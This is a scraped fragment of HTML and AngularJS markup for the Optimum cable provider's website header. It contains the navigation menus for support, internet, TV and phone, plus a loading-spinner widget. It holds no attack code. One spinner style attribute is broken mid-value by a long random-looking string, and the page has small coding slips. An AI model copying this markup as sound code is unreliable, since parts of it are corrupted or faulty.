class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> <!--<div data-ng-show="isunAuthorized"> <div class="signout"> <ul> <li>Not {{CommonHeaderCtrl.currentLoggedInUser.optimumId}}? <a cta-arrow-link class="secondary" data-ng-click="CommonHeaderCtrl.handleUserSignout()">Sign out</a></li> </ul> </div> </div>--> </div> </div> </div> </div> </div> <div class="hbeam-inline global-nav-secondary__item"> <div class="global-nav-secondary__label"> <a class="block-link" data-ng-click="CommonHeaderCtrl.handleMenuSelect('support')" data-ng-mouseenter="CommonHeaderCtrl.handleMenuFocus('support')" data-ng-mouseleave="CommonHeaderCtrl.handleMenuBlur('support')" data-ng-class="{active : CommonHeaderCtrl.isActiveMenu('support')}">Support</a> <div class="support-ddmenu"> <div class="header-dropmenu header-dropmenu-alignment" data-ng-class="{'header-dropmenuEsp':CommonHeaderCtrl.isEspanolLang}" data-ng-mouseenter="CommonHeaderCtrl.handleMenuFocus('support');CommonHeaderCtrl.initSupportMenu()" data-ng-mouseleave="CommonHeaderCtrl.handleMenuBlur('support')" data-ng-show="CommonHeaderCtrl.isActiveMenu('support')" style="display: none;"> <div class="menu-top"> <ul class="support-menu"> <li class="user-service-link" data-ng-show="!CommonHeaderCtrl.currentLoggedInUser.hasSession || CommonHeaderCtrl.currentLoggedInUser.hasSession && CommonHeaderCtrl.currentLoggedInUser.hasService.tv"> <a href="#"> <ul> <li class="service-icon"> <i class="support-icons tv-icon"></i> </li> <li class="service-name">TV</li> </ul> </a> </li> <li class="user-service-link" data-ng-show="!CommonHeaderCtrl.currentLoggedInUser.hasSession || CommonHeaderCtrl.currentLoggedInUser.hasSession && CommonHeaderCtrl.currentLoggedInUser.hasService.phone"> <a href="#"> <ul> <li class="service-icon"> <i class="support-icons phone-icon"></i> </li> <li class="service-name">Phone</li> </ul> </a> </li> <li class="user-service-link" data-ng-show="!CommonHeaderCtrl.currentLoggedInUser.hasSession || CommonHeaderCtrl.currentLoggedInUser.hasSession && CommonHeaderCtrl.currentLoggedInUser.hasService.internet"> <a href="#"> <ul> <li class="service-icon"> <i class="support-icons internet-icon"></i> </li> <li class="service-name">Internet</li> </ul> </a> </li> <li class="user-service-link"> <a href="#"> <ul> <li class="service-icon"> <i class="support-icons paybill-icon"></i> </li> <li class="service-name">Pay Bill</li> </ul> </a> </li> </ul> <!-- chat & outage --> <div> <div class="span6 support-chat" id="LP_Optimum_Header_Desktop"><div id="LPMcontainer-1589976762820-0" class="LPMcontainer LPMoverlay" style="margin: 1px; padding: 0px; border-style: solid; border-width: 0px; font-style: normal; font-weight: normal; font-variant: normal; list-style: outside none none; letter-spacing: normal; line-height: normal; text-decoration: none; vertical-align: baseline; white-space: normal; word-spacing: normal; background-repeat: repeat-x; background-position: left bottom; cursor: auto; display: block; position: relative; top: 0px; left: 0px;" role="button" tabindex="0"><div class="btn btn--secondary-accent-text" data-lp-event="click"><div class="round-circle"><i class="icon-msg"></i></div><h4>Message us</h4></div></div></div> <div class="span6 support-alert" ng-click="reloadOutageRoute()"> <div class="btn btn--secondary-accent-text"> <div class="round-circle"> <i class="icon-selfhelp"></i> </div> <h4>Service status</h4> </div> </div> </div> </div> <div class="menu-mdl"> <div class="span5"> <ul class="support-lower-links"> <li><a href="#">FAQS</a></li><li><a href="#">Tutorials</a></li><li><a href="#">User Guides</a></li><li><a href="#" data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasSession && CommonHeaderCtrl.ooluser.primary" style="display: none;">Service Appointments</a></li><li><a href="#">Connect My Device</a></li><li><a href="#">Optimum Service Plans</a></li><li><a href="#">Optimum Support App</a></li> </ul> </div> <div class="span7"> <div> <ul class="support-lower-links"> <li><a href="#">Find Optimum Stores</a></li><li><a href="#" ng-hide="CommonHeaderCtrl.labox">Accessories</a></li><li><a href="#">Moving?</a></li><li><a href="#">Contact Us</a></li> </ul> </div> </div> </div> </div> </div> </div> <div class="global-nav-secondary__notification" data-ng-show="CommonHeaderCtrl.currentAlertIndex > 0" style=""> <a data-ng-click="CommonHeaderCtrl.toggleAlertDrawer()" class="alert-minor alert-drawer__handle hbeam-inline badge-notification badge-primary"> <div class="hbeam-part-static badge-notification__icon-container"> <i class="badge-notification__icon icon-warning-sign"></i> </div> <div> <span class="badge-notification__count ng-binding">1</span> </div> </a> </div> </div> <div class="hbeam-inline global-nav-secondary__item"> <div class="global-nav-secondary__label"> <form class="form-global-search animateInput ng-pristine ng-valid" id="global-input-form"> <div class="input-group" ng-submit="CommonHeaderCtrl.goToSearch(CommonHeaderCtrl.searchCategory.ondemand)"> <input data-ng-model="CommonHeaderCtrl.searchTerm" class="input--s input-transparent input-lighter-accent ng-pristine ng-valid" type="text" id="global-input" data-ng-change="CommonHeaderCtrl.doSearch()" placeholder="Search TV"> <span class="input-group-btn"> <button data-ng-click="CommonHeaderCtrl.goToSearch(CommonHeaderCtrl.searchCategory.ondemand)" id="search-btn" class="btn btn--white btn--s" type="submit"> <span class="icon-search"></span> </button> </span> </div> <!-- Search drop down begins here search-ddmenu to div <div id="desktop_auto_complete" data-ng-show="CommonHeaderCtrl.searchTerm.length > 0 && inputFocus" ng-cloak class="search-ddmenu child hidden"> <div class="header-dropmenu globalSearchResult rightMargin-For-IE8 right-Margin-For-Search"> <div class="powered-By-text">Suggestions powered by Optimum</div> <div class="menu-top wrapper"> <div class="bg bg1"></div> <div class="bg bg2 bordertop1px display-result-left-border"></div> Start of All Optimum.net Section <div class="col1 col paddingRight"> <div class="textRight paddingRight title-auto-cmpl-margin" data-ng-click="CommonHeaderCtrl.supportNavReqd = true;CommonHeaderCtrl.goToSearch(CommonHeaderCtrl.searchCategory.support)"> <span class=""> <strong>Optimum.net</strong> </span> </div> </div> <div class="col2 col"> <div class="res-auto-cmpl-margin"> <ul class="marginLeft"> <li data-ng-click="CommonHeaderCtrl.searchThis(result.searchQuery,CommonHeaderCtrl.searchCategory.support)" data-ng-repeat="result in CommonHeaderCtrl.gsaResult.results" class="paddingLI selectFromArrow"> <span data-ng-bind-html-unsafe="CommonHeaderCtrl.truncateText(result.text,28)" class="searchKey"></span> </li> <li data-ng-show="CommonHeaderCtrl.gsaSuggestionFailed" class="paddingLI " data-ng-class="{'selectFromArrow':CommonHeaderCtrl.gsaSuggestionFailed}" data-ng-click="CommonHeaderCtrl.supportNavReqd = true;CommonHeaderCtrl.goToSearch(CommonHeaderCtrl.searchCategory.support)"> <span class="searchKey"> Search full site for <b>"{{CommonHeaderCtrl.truncateText(CommonHeaderCtrl.searchTerm,4)}}"</b> </a> </span> </li> <li data-ng-show="CommonHeaderCtrl.loadingGsa" class="paddingLI"> Loading...<br></li> </ul> </div> </div> End of All Optimum.net Section Start of TV & On Demand Section <div class="col1 col paddingRight"> <div class="textRight paddingRight title-auto-cmpl-margin" data-ng-click="CommonHeaderCtrl.goToSearch(CommonHeaderCtrl.searchCategory.ondemand)"> <span class=""> <strong>TV & On-Demand</strong> </span> </div> </div> <div class="col2 col"> <div class="res-auto-cmpl-margin"> <ul class="marginLeft"> <li data-ng-click="CommonHeaderCtrl.searchThis(result.searchQuery,CommonHeaderCtrl.searchCategory.ondemand)" data-ng-repeat="result in CommonHeaderCtrl.veveoResult.results" class="paddingLI selectFromArrow"> <span data-ng-bind-html-unsafe="CommonHeaderCtrl.truncateText(result.text,28)" class="searchKey"></span> </li> <li data-ng-show="CommonHeaderCtrl.veveoSuggestionFailed" class="paddingLI " data-ng-class="{'selectFromArrow':CommonHeaderCtrl.veveoSuggestionFailed}"> <span class="searchKey"> No result found for <b>{{CommonHeaderCtrl.truncateText(CommonHeaderCtrl.searchTerm,4)}}</b> </span> </li> <li data-ng-show="CommonHeaderCtrl.loadingVeveo" class="paddingLI"> Loading...</li> </ul> </div> </div> End of TV & On Demand Section Start of Google Section <div class="col1 col paddingRight"> <div class="textRight paddingRight" data-ng-click="CommonHeaderCtrl.goToSearch(CommonHeaderCtrl.searchCategory.google)"> <span class=""> <strong>Web results</strong><span class="google-logo-wrapped fixgooglemargin"></span> </span> </div> </div> <div class="col2 col"> <div class="res-auto-cmpl-margin fixcolmargin"> <ul class="marginLeft"> <li data-ng-click="CommonHeaderCtrl.searchThis(result.searchQuery,CommonHeaderCtrl.searchCategory.google)" data-ng-repeat="result in CommonHeaderCtrl.googleResult.results" class="paddingLI selectFromArrow"> <span data-ng-bind-html-unsafe="CommonHeaderCtrl.truncateText(result.text,28)" class="searchKey"></span> </li> <li data-ng-show="CommonHeaderCtrl.googleSuggestionFailed" class="paddingLI " data-ng-class="{'selectFromArrow':CommonHeaderCtrl.googleSuggestionFailed}" data-ng-click="CommonHeaderCtrl.goToSearch(CommonHeaderCtrl.searchCategory.google)"> <span class="searchKey"> Search the web for <b>"{{CommonHeaderCtrl.truncateText(CommonHeaderCtrl.searchTerm,4)}}"</b> </span> </li> <li data-ng-show="CommonHeaderCtrl.loadingGoogle" class="paddingLI"> Loading... <br></li> </ul> </div> </div> End of Google Section <div class="col1 col paddingRight"> <div class="textRight paddingRight title-auto-cmpl-margin"><span class=""><strong>Keep searching</strong></span></div> </div> <div class="col2 col borderTop"> <div class="res-auto-cmpl-margin"> <ul class="marginLeft"> <li class="paddingLI selectFromArrow" data-ng-click="CommonHeaderCtrl.supportNavReqd = true;CommonHeaderCtrl.goToSearch(CommonHeaderCtrl.searchCategory.support)"> <span> <b class="keepsearching">Search full site for </b> <b class="searchKeyBold">"{{CommonHeaderCtrl.truncateText(CommonHeaderCtrl.searchTerm,4)}}"</b> </span> </li> <li class="paddingLI selectFromArrow" data-ng-click="CommonHeaderCtrl.goToSearch(CommonHeaderCtrl.searchCategory.ondemand)"> <span> <b class="keepsearching">Search TV & On Demand for </b> <b class="searchKeyBold">"{{CommonHeaderCtrl.truncateText(CommonHeaderCtrl.searchTerm,4)}}"</b> </span> </li> <li class="paddingLI selectFromArrow" data-ng-click="CommonHeaderCtrl.goToSearch(CommonHeaderCtrl.searchCategory.google)"> <span> <b class="keepsearching">Search the web for </b> <b class="searchKeyBold"> "{{CommonHeaderCtrl.truncateText(CommonHeaderCtrl.searchTerm,4)}}"</b> </span> </li> </ul> </div> </div> <div class="clear"></div> </div> </div></div> Search drop down ends --> </form> </div> </div> </div> <!-- end global-nav-secondary --> </div> <!-- end span8 --> </div> </div> </div> <div class="row"> <div class="span4"> <div class="global-header__brand"> <a href="#" class="desktop-logo"></a> </div> </div> <div id="mega-menu-container" class="span8 app-header__nav-primary"> <!-- DESKTOP/TABLET: PRIMARY NAV --> <div class="hflow global-nav-primary"> <div class="hflow global-nav-primary__item block-link" data-ng-mouseenter="CommonHeaderCtrl.handleMenuFocus('internet')" data-ng-mouseleave="CommonHeaderCtrl.handleMenuBlur('internet')" data-ng-class="{active : CommonHeaderCtrl.isActiveMenu('internet')}"> <div class="global-nav-primary__label"> <a data-ng-click="CommonHeaderCtrl.handleMenuSelect('internet')" class="global-header__link"> <span class="mega-menu-cursor global-header__link no-bold">Internet</span> </a> <div class="internet-menu"> <div data-ng-class="{'leftMargin-internetMenu-noemail' :!CommonHeaderCtrl.currentLoggedInUser.hasService.musActive , 'leftMargin-internetMenu-less-email' : CommonHeaderCtrl.currentLoggedInUser.hasService.musActive && CommonHeaderCtrl.currentLoggedInUser.inbox.messageCount<=9}" class="header-dropmenu leftMargin-internetMenu-noemail" data-ng-show="CommonHeaderCtrl.isActiveMenu('internet')" style="display: none;"> <div class="menu-mdl"> <div class="row internet-links"> <div class="span6"> <!--<esi:include src="/services/cms-menu?path=megamenu-internet-1" />--> <ul> <li><a href="#">Email</a></li><li><a href="#">WiFi Hotspots</a></li><li><a href="#">Internet Protection</a></li><li><a href="#">Phishing Emails</a></li> </ul> </div> <div class="span6"> <!--<esi:include src="/services/cms-menu?path=megamenu-internet-2" />--> <ul> <li><a href="#">Router</a></li><li><a href="#" ng-hide="CommonHeaderCtrl.pickerSelected || CommonHeaderCtrl.ooluser.hasOOLSession">Mobile TV App</a></li><li><a href="#" ng-show="(CommonHeaderCtrl.pickerSelected || ComonHeaderCtrl.ooluser.hasOOLSession) && !CommonHeaderCtrl.labox" style="display: none;">Optimum App</a></li><li><a href="#" ng-show="CommonHeaderCtrl.labox" style="display: none;">Altice One App</a></li><li><a href="#">Support</a></li> </ul> </div> </div> </div> <div class="menu-bottom"> <!--logged out--> <div data-ng-show="!CommonHeaderCtrl.currentLoggedInUser.hasSession"> <h4><a href="#">Sign in</a> to check your email and manage your internet features</h4> </div> <!--end of logged out--> <!--logged in--> <div data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasSession && CommonHeaderCtrl.currentLoggedInUser.hasService.musActive" style="display: none;"> <div id="inbox"> <div class="row top-row"> <div class="span8"> <h4>Email Inbox <button class="btn btn--secondary ng-binding" data-ng-hide="CommonHeaderCtrl.currentLoggedInUser.inbox.messageCount == -1">0</button></h4> </div> <div class="span4"> <span class="cta-arrow-link--dark-overlay pull-right cta-arrow-link" cta-arrow-link="" href="#" data-ng-hide="CommonHeaderCtrl.currentLoggedInUser.inbox.messageCount == -1"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">View all</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> <!--email--> <!-- ngRepeat: email in CommonHeaderCtrl.currentLoggedInUser.inbox.emails --> <!--end of email--> </div> <p data-ng-show="CommonHeaderCtrl.currentLoggedInUser.inbox.messageCount == -1" style="display: none;">We can't get your messages right now. Please try again later.</p> <p data-ng-show="CommonHeaderCtrl.currentLoggedInUser.inbox.messageCount == 0">You have no new emails</p> </div> <!--end of logged in--> </div> </div> </div> </div> <div class="global-nav-primary__notification"> <a href="#" class="hbeam-inline badge-notification badge-primary" data-ng-show="!CommonHeaderCtrl.currentLoggedInUser.hasSession || (CommonHeaderCtrl.currentLoggedInUser.hasSession && CommonHeaderCtrl.currentLoggedInUser.hasService.musActive)"> <div class="hbeam-part-static badge-notification__icon-container logged-out-envelope-container" data-ng-class="{'logged-out-envelope-container' : !CommonHeaderCtrl.currentLoggedInUser.hasSession}"> <i class="badge-notification__icon icon-envelope-alt logged-out-envelope icon-large" data-ng-class="{'logged-out-envelope icon-large': !CommonHeaderCtrl.currentLoggedInUser.hasSession}"></i> </div> <div> <span data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasSession && CommonHeaderCtrl.currentLoggedInUser.hasService.musActive && CommonHeaderCtrl.currentLoggedInUser.inbox.messageCount >= 0" class="badge-notification__count ng-binding" style="display: none;">0</span> </div> </a> </div> </div> <div class="hflow global-nav-primary__item block-link" data-ng-mouseenter="CommonHeaderCtrl.handleMenuFocus('tv')" data-ng-mouseleave="CommonHeaderCtrl.handleMenuBlur('tv')" data-ng-class="{active : CommonHeaderCtrl.isActiveMenu('tv')}"> <div class="global-nav-primary__label"> <a data-ng-click="CommonHeaderCtrl.handleMenuSelect('tv')" class="global-header__link" data-ng-class="{active : CommonHeaderCtrl.isActiveMenu('tv')}"> <span class="mega-menu-cursor global-header__link" data-ng-class="{active : CommonHeaderCtrl.isActiveMenu('tv')}">TV</span> </a> <div class="tv-menu" ng-class="{'tv-dvr-menu': CommonHeaderCtrl.currentLoggedInUser.hasService.dvr}"> <div class="header-dropmenu" data-ng-show="CommonHeaderCtrl.isActiveMenu('tv')" style="display: none;"> <div class="menu-mdl"> <div class="row tv-links"> <div class="span6"> <h4 class="cHShift">Watch</h4> <ul> <li><a href="#">Guide</a></li><li><a href="#">On Demand</a></li><li><a href="#" ng-hide="CommonHeaderCtrl.labox">Cart</a></li><li><a href="#" ng-show="CommonHeaderCtrl.labox" style="display: none;">Favorites</a></li><li><a href="#">TV to GO</a></li><li><a href="#" ng-hide="CommonHeaderCtrl.pickerSelected || CommonHeaderCtrl.ooluser.hasOOLSession">Mobile TV App</a></li><li><a href="#" ng-show="(CommonHeaderCtrl.pickerSelected || CommonHeaderCtrl.ooluser.hasOOLSession) && !CommonHeaderCtrl.labox" style="display: none;">Optimum App</a></li><li><a href="#" ng-show="CommonHeaderCtrl.labox" style="display: none;">Altice One App</a></li><li><a href="#">Pay Per View</a></li><li><a href="#">Support</a></li><li><a href="#">Optimum Channel</a></li> </ul> </div> <div class="span6"> <h4>Features & settings</h4> <ul> <li><a href="#" ng-hide="CommonHeaderCtrl.labox">My cable boxes</a></li><li><a href="#">Remote set up</a></li><li><a href="#">HD</a></li><li><a href="#">TV Channel Lineups</a></li> </ul> </div> </div> </div> <div class="menu-bottom"> <!--logged out--> <div data-ng-show="!CommonHeaderCtrl.currentLoggedInUser.hasSession"> <h4><a href="#">Sign in</a> to manage your DVR and TV features.</h4> </div> <!--end of logged out--> <!--logged in--> <div id="dvr" data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasSession" style="display: none;"> <div class="row" data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasService.dvr" style="display: none;"> <div class="span4"> <h4>My DVR</h4> </div> <div class="span8"> <span class="cta-arrow-link--dark-overlay pull-right cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">View recordings</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> <div class="row"> <!-- DVR, Scheduled Recordings --> <div class="span12 dvr-recordings" data-ng-class="{active: CommonHeaderCtrl.currentLoggedInUser.hasService.dvr}"> <h4 data-ng-show="CommonHeaderCtrl.dvrMenu.alertNoScheduled" style="display: none;"> You have no recordings scheduled.</h4> <!-- dvr-recordings, bottom row --> <div class="row dvr-recordings-bottom"> <div class="span12"> <h4 data-ng-show="CommonHeaderCtrl.dvrMenu.alertNoService" style="display: none;"> Service unavailable at this time. </h4> <h4 class="learnmore" data-ng-show="!CommonHeaderCtrl.currentLoggedInUser.hasService.dvr"> <a href="#">Click here</a> to learn more about DVR</h4> <div id="dvr-spinner" class="spin-restraint" data-ng-show="CommonHeaderCtrl.loadingScheduledRecordings && !CommonHeaderCtrl.dvrMenu.alertNoService && !CommonHeaderCtrl.dvrMenu.alertNoScheduled" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 52px; height: 52px;" color="'#fff'" data-length="12" data-radius="12"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(12px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 14px; height: 2px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(12px); border-radius: 0px;"></div></div></div></div> </div> <ul> <!-- ngRepeat: recording in CommonHeaderCtrl.dvrMenu.nextThreeRecordings --> </ul> </div> </div> <!-- /dvr-recordings, bottom row --> </div> </div> </div> <!--end of logged in--> </div> </div> </div> </div> <div data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasService.dvr" class="global-nav-primary__notification" style="display: none;"> <a href="#" class="hbeam-inline badge-notification badge-primary"> <div> <span class="badge-notification__count">DVR</span> </div> </a> </div> </div> <div class="hflow global-nav-primary__item block-link" data-ng-mouseenter="CommonHeaderCtrl.handleMenuFocus('phone')" data-ng-mouseleave="CommonHeaderCtrl.handleMenuBlur('phone')" data-ng-class="{active : CommonHeaderCtrl.isActiveMenu('phone')}"> <div class="global-nav-primary__label"> <a data-ng-click="CommonHeaderCtrl.handleMenuSelect('phone')" class="global-header__link"> <span class="mega-menu-cursor global-header__link">Phone</span> </a> <div class="phone-menu" ng-class="{'nophone-menu': (CommonHeaderCtrl.currentLoggedInUser.hasSession && !CommonHeaderCtrl.currentLoggedInUser.hasService.phone)}"> <div data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasSession" style="display: none;"> <div data-ng-show="!CommonHeaderCtrl.currentLoggedInUser.hasService.phone"> <div> <div class="header-dropmenu" data-ng-show="CommonHeaderCtrl.isActiveMenu('phone')" style="display: none;"> <div class="menu-mdl"> <div class="row phone-links"> <div class="span6"> <ul id="cms_content_phone"> <li><a href="#">Voicemail</a></li><li><a href="#">Call history</a></li><li><a href="#">International</a></li><li><a href="#">Call waiting</a></li><li><a href="#">Call forwarding</a></li><li><a href="#">VIP ringing</a></li><li><a href="#">Block unwanted calls</a></li> </ul> </div> <div class="span6"> <ul> <li><a href="#">Find me</a></li><li><a href="#">Private calling</a></li><li><a href="#">BackUp phone</a></li><li><a href="#">Directory listing</a></li><li><a href="#">Support</a></li><li><a href="#">Stop robocalls</a></li> </ul> </div> </div> </div> </div> </div> </div> <div data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasService.phone" style="display: none;"> <div class="header-dropmenu" data-ng-show="CommonHeaderCtrl.isActiveMenu('phone')" style="display: none;"> <div class="menu-mdl"> <div class="row phone-links"> <div class="span6"> <ul id="cms_content_phone"> <li><a href="#">Voicemail</a></li><li><a href="#">Call history</a></li><li><a href="#">International</a></li><li><a href="#">Call waiting</a></li><li><a href="#">Call forwarding</a></li><li><a href="#">VIP ringing</a></li><li><a href="#">Block unwanted calls</a></li> </ul> </div> <div class="span6"> <ul> <li><a href="#">Find me</a></li><li><a href="#">Private calling</a></li><li><a href="#">BackUp phone</a></li><li><a href="#">Directory listing</a></li><li><a href="#">Support</a></li><li><a href="#">Stop robocalls</a></li> </ul> </div> </div> </div> <div class="menu-bottom"> <!--MY MESSAGES--> <div class="row"> <div class="span7"> <h4>My Messages <button data-ng-click="https://voice.optimum.net//Voicemail" class="btn btn--secondary ng-binding">0</button></h4> </div> <div class="span5"> <span class="cta-arrow-link--dark-overlay pull-right cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">View all</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> <!-- ngRepeat: message in CommonHeaderCtrl.currentLoggedInUser.phone.messages --> <!--end of MY MESSAGES--> </div> </div> </div> </div> <div data-ng-hide="CommonHeaderCtrl.currentLoggedInUser.hasSession"> <div class="header-dropmenu" data-ng-show="CommonHeaderCtrl.isActiveMenu('phone')" style="display: none;"> <div class="menu-top"> <div class="row phone-links"> <div class="span6"> <ul id="cms_content_phone"> <li><a href="#">Voicemail</a></li><li><a href="#">Call history</a></li><li><a href="#">International</a></li><li><a href="#">Call waiting</a></li><li><a href="#">Call forwarding</a></li><li><a href="#">VIP ringing</a></li><li><a href="#">Block unwanted calls</a></li> </ul> </div> <div class="span6"> <ul> <li><a href="#">Find me</a></li><li><a href="#">Private calling</a></li><li><a href="#">BackUp phone</a></li><li><a href="#">Directory listing</a></li><li><a href="#">Support</a></li><li><a href="#">Stop robocalls</a></li> </ul> </div> </div> </div> <div class="menu-bottom"> <div data-ng-hide="CommonHeaderCtrl.currentLoggedInUser.hasSession"> <h4><a href="#">Sign in</a> to check your messages and manage your phone features</h4> </div> </div> </div> </div> </div> </div> <div data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasSession && !CommonHeaderCtrl.currentLoggedInUser.hasService.phone" class="global-nav-primary__notification" style="display: none;"> <div class="global-nav-primary__notification"> <a href="#" class="hbeam-inline badge-notification badge-primary"> <div class="hbeam-part-static badge-notification__icon-container morePadding"> <i class="badge-notification__icon icon-phone moreWidth"></i> </div> 